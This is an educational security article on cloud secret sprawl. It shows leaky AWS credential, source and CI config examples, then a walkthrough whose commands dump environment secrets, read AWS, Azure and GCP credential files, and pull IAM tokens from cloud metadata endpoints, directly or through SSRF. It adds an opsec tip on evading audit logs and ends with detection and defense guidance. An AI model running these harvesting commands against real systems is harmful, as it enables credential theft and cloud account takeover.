Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Secret sprawl is the accumulation of long-lived credentials — cloud access keys, database passwords, API tokens, private keys — scattered across places that were never designed to hold secrets securely: source code, container images, CI/CD pipeline variables, shell history, environment variables, and instance metadata. Every one of these locations is easy to search once an attacker has any foothold, and unlike a single exploited vulnerability, a harvested credential often grants durable, hard-to-revoke access that survives a patch cycle.
Credential harvesting is attractive precisely because it is low effort and high yield: a single git clone of a repository with secrets in its history, a single env dump inside a compromised container, or a single unauthenticated request to the cloud metadata service can return a working AWS access key, GCP service account token, or database password with no further exploitation required. Stolen or leaked credentials are consistently ranked among the top initial-access vectors in cloud breaches, and secret sprawl is the supply side of that problem — the more places a credential lives, the more places it can leak from.
Attack Prerequisites
Credential harvesting requires some form of read access to a location where secrets are stored insecurely. In practice this means one or more of:
- Code execution or shell access on a host, container, or CI runner where credentials are set as environment variables or written to disk.
- Read access to a Git repository, including its full commit history (secrets removed in a later commit are still present in earlier ones).
- Network access to the instance metadata service (
169.254.169.254) from a compromised workload — directly, or via an SSRF vulnerability in an application running on that instance. - Access to a CI/CD platform’s variable/secret store, build logs, or cached build artifacts.
- Read access to container images or registries, where secrets are sometimes baked into image layers even after being removed from later layers.
How It Works
Credentials end up sprawled because they are convenient at the point of use and inconvenient to manage properly. A developer exports AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY in a shell profile to test locally, commits a .env file “just for now,” or hardcodes a database password because a secrets manager adds friction. CI/CD systems compound this: pipeline variables marked “secret” are still exposed in plaintext to anything the pipeline executes, and are frequently echoed into build logs by debug output or a misconfigured set -x. Container images inherit the problem when a Dockerfile does ARG/ENV with a credential — even if a later layer deletes the file, it remains recoverable in the image’s layer history.
The cloud instance metadata service is a distinct and especially high-value harvesting target. AWS EC2 and ECS expose an internal, unauthenticated (IMDSv1) or token-authenticated (IMDSv2) HTTP endpoint at 169.254.169.254 that any process on the instance can query to retrieve temporary credentials for the attached IAM role. GCP’s equivalent is metadata.google.internal, reachable via /computeMetadata/v1/, requiring only a Metadata-Flavor: Google header. Because these endpoints are link-local and unauthenticated by design, any code running on the box — or any SSRF coerced into requesting an internal URL — can pull live, valid cloud credentials without ever touching disk.
Git history is the harvesting target most often underestimated. Removing a secret in a new commit does not remove it from the repository; the blob is still reachable through git log -p, git show <old-commit>, or simply cloning the full history. Public repositories and forks are continuously scraped by automated credential-scanning bots the moment a key-shaped string is pushed — some providers run their own scanners against public GitHub for their key formats and proactively quarantine exposed keys, but this is not a substitute for never committing them.
Vulnerable Code / Configuration
The most common finding is a static AWS credentials file left on a developer or CI host, readable by anything with local file access:
# ~/.aws/credentials -- long-lived static keys, no rotation, no MFA
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[prod-admin]
aws_access_key_id = AKIAI44QH8DHBEXAMPLE
aws_secret_access_key = je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY
# Any local process, backup, or synced dotfile repo now exposes
# full programmatic access to two AWS accounts.
INIEqually common is a hardcoded credential committed straight into application source, discoverable by any repository clone or history scan:
# config.py -- committed to git, later "removed" in a follow-up commit
DB_HOST = "prod-db.internal.example.com"
DB_USER = "app_admin"
DB_PASSWORD = "Sup3rSecret!2023" # VULNERABLE: plaintext, in history forever
STRIPE_SECRET_KEY = "sk_live_51Hxxx..."
# git log -p -- config.py still shows this even after deletion
PythonCI/CD secret sprawl usually looks like a pipeline that both stores the secret as a “protected” variable and then prints it, or passes it to a step that logs it verbatim:
# .gitlab-ci.yml -- VULNERABLE: secret variable echoed to job log
deploy:
stage: deploy
script:
- echo "Deploying with key $AWS_SECRET_ACCESS_KEY" # leaks into logs
- aws s3 sync ./dist s3://prod-bucket
variables:
AWS_ACCESS_KEY_ID: $CI_AWS_KEY
AWS_SECRET_ACCESS_KEY: $CI_AWS_SECRET # long-lived static key
# Anyone with job-log read access (often broader than repo access)
# recovers the secret directly from CI output.
YAMLWalkthrough / Exploitation
From a compromised host or container, start with the cheapest sources — environment variables and common credential file locations:
env | grep -Ei 'key|secret|token|password|aws_|gcp_|azure_'
cat ~/.aws/credentials ~/.aws/config 2>/dev/null
cat ~/.azure/credentials 2>/dev/null
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
find / -maxdepth 6 -iname '*.env' -o -iname 'credentials*' -o -iname '*.pem' 2>/dev/null
history | grep -Ei 'aws|curl.*key|export.*secret'BashIf the host is a cloud instance, query the metadata service directly — this is frequently the highest-value single request an attacker makes:
# AWS IMDSv2 (token-based)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# GCP metadata server
curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'BashWhere an application is vulnerable to SSRF, the same metadata endpoints are reachable indirectly by pointing the vulnerable parameter at them instead of at an internal service:
curl 'https://target.example/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-role'BashFor source and history-based harvesting, run dedicated secret scanners across the full repository history, not just the current checkout:
trufflehog git file://./repo --since-commit HEAD~200 --results=verified,unknown
gitleaks detect --source ./repo --log-opts='--all' -v
# Container images: scan layers, not just the final filesystem
trufflehog docker --image myregistry/app:latestBashOnce recovered, validate and enumerate a credential’s scope before further action:
aws sts get-caller-identity --profile prod-admin
aws iam list-attached-user-policies --user-name app_admin --profile prod-adminBashNote: IMDSv1 has no request-side authentication at all, which is why AWS now defaults new instances to IMDSv2 (token-required) and supports enforcing it via the
HttpTokens: requiredinstance metadata option. An SSRF that can only perform a simple GET (cannot set thePUTtoken-request header) is blocked entirely by IMDSv2 — confirm which version is enforced before assuming SSRF-to-credential-theft is viable.
Opsec: Static keys recovered from a repository, CI log, or metadata service should be tested with the least intrusive read-only call possible (
aws sts get-caller-identity,gcloud auth print-access-tokenvalidation) before broader use. AWS CloudTrail and GCP Cloud Audit Logs both record every authenticated call including failed ones, so noisy enumeration with a freshly stolen key is one of the fastest ways to trigger an alert.
Detection and Defense
Secret sprawl is addressed by eliminating long-lived static credentials wherever possible and catching leaks before they reach a durable, widely-readable location:
- Prefer short-lived, workload-identity credentials — IAM roles for EC2/ECS/Lambda, GCP Workload Identity Federation, Azure Managed Identity — over static access keys wherever supported.
- Enforce IMDSv2 on AWS (
aws ec2 modify-instance-metadata-options --http-tokens required) to close the simplest SSRF-to-credential path. - Run secret scanners in CI, pre-commit, and against full git history —
gitleaks,trufflehog, or GitHub push protection — and fail the pipeline on any verified match. - Never echo secret variables in CI/CD job output; mask them at the platform level and audit for accidental
echo/set -xleaks. - Use a dedicated secrets manager (AWS Secrets Manager, GCP Secret Manager, HashiCorp Vault, Azure Key Vault) with short TTLs and rotation instead of environment-variable secrets baked into images.
- Alert on anomalous
GetCallerIdentity/AssumeRoleand metadata service calls — a burst ofiam/security-credentials/requests from an application process is a strong SSRF/credential-theft signal. - Rotate and revoke immediately on any suspected exposure, and treat every credential found in a public repository as compromised.
Real-World Impact
Leaked or hardcoded cloud credentials are a recurring root cause in major breaches, from the 2019 Capital One incident that began with SSRF against an AWS metadata endpoint to reach an over-privileged IAM role, to countless smaller incidents where a static AWS key committed to a public repository was found and used for cryptomining within minutes. Public secret-scanning telemetry from GitHub and third-party vendors consistently reports large volumes of verified secret exposures on public repositories, underscoring this is a volume problem, not an edge case.
Conclusion
Secret sprawl is what happens when convenience wins over credential hygiene at every individual decision point — one .env file, one CI variable, one hardcoded key at a time. None of those decisions looks dangerous in isolation, but together they create a large, easily searchable attack surface that requires no software exploit to abuse. The durable fix is structural: remove standing credentials from the places they accumulate, replace them with short-lived identity-based access, and scan continuously for the ones that slip through anyway.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments